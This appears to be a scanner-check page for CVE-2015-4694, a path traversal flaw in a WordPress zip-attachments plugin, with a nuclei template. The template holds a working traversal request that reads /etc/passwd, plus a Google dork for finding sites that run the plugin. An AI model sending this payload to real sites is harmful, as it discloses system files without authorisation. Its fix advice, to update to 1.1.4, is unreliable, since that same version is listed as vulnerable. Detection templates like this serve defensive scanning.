WordPress Zip Attachments <= 1.1.4 - Arbitrary File Retrieval

highseverity

8.6CVSS score

15.6%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

WordPress zip-attachments plugin allows arbitrary file retrieval as it does not check the download path of the requested file.

Impact

Arbitrary file retrieval

Fix

Update to the latest version of the WordPress Zip Attachments plugin (1.1.4) or remove the plugin if not needed.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/zip-attachments/download.php?za_file=../../../../../etc/passwd&za_filename=passwd
Positive when: matches /root:[x*]:0:0/ AND status 200

Run it with nuclei: nuclei -id CVE-2015-4694 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2015-4694

info:
  name: WordPress Zip Attachments <= 1.1.4 - Arbitrary File Retrieval
  author: 0x_Akoko
  severity: high
  description: WordPress zip-attachments plugin allows arbitrary file retrieval as it does not check the download path of the requested file.
  impact: |
    Arbitrary file retrieval
  remediation: |
    Update to the latest version of the WordPress Zip Attachments plugin (1.1.4) or remove the plugin if not needed.
  reference:
    - https://wordpress.org/plugins/zip-attachments/#developers
    - https://wpscan.com/vulnerability/8047
    - https://nvd.nist.gov/vuln/detail/CVE-2015-4694
    - http://www.vapid.dhs.org/advisory.php?v=126
    - https://wordpress.org/plugins/zip-attachments/changelog/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2015-4694
    cwe-id: CWE-22
    epss-score: 0.15646
    epss-percentile: 0.96873
    cpe: cpe:2.3:a:zip_attachments_project:zip_attachments:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: zip_attachments_project
    product: zip_attachments
    framework: wordpress
    google-query: inurl:"/wp-content/plugins/zip-attachments"
  tags: cve2015,cve,wp-plugin,wpscan,lfi,wordpress,zip_attachments_project,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/zip-attachments/download.php?za_file=../../../../../etc/passwd&za_filename=passwd'

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

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